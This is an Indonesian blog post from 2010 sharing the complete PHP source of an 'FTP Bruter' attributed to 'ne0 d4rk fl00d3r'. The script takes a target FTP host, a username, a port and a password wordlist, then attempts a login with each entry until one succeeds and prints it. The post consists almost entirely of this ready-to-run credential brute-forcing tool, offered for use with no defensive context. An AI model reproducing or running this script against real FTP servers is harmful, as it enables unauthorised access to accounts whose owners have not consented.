Senin, 16 Agustus 2010

FTP Bruter by ne0 d4rk fl00d3r

Haloo...
ketemu lagi nih, eh, ngomong2 ada tools bruteforcer nih dari ne0d4rkfl00d3r

ini source codenya:

#!/usr/bin/php -q
<?
echo "#########################\n";
echo "## FTP Bruter ##\n";
echo "## by ne0 d4rk fl00d3r ##\n";
echo "#########################\n\n";
echo "Enter the FTP Server: ";
$hosts = fread(STDIN, 80);
$host = trim($hosts);
echo "\nEnter the Username: ";
$users = fread(STDIN, 80);
$user = trim($users);
echo "\nEnter the port of FTP Server (default is 21): ";
$ports = fread(STDIN, 80);
$port = trim($ports);
echo "\nEnter the wordlist for password to brute: ";
$words = fread(STDIN, 80);
$word = trim($words);
$cont = ftp_connect($host, $port);
if (! $cont)
{
echo "Could not connect to FTP Server!\n";
exit();
}
else if (! file_exists($word))
{
echo "Wordlist Not Found!\n";
exit();
}
$h = fopen($word, "r");
while (! feof($h))
{
$con = ftp_connect($host, $port);
$pwd = trim(fgets($h));
echo "Trying ".$pwd."\n";
if (@ftp_login($con, $user, $pwd))
{
echo "w00t! w00t! the password is: ".$pwd."\n";
exit();
}
else
{
echo "Incorrect\n";
}
ftp_close($con);
}
echo "Failed to bruteforce\n";
exit();
?>

Sekian dan terimakasih

Tidak ada komentar:

Posting Komentar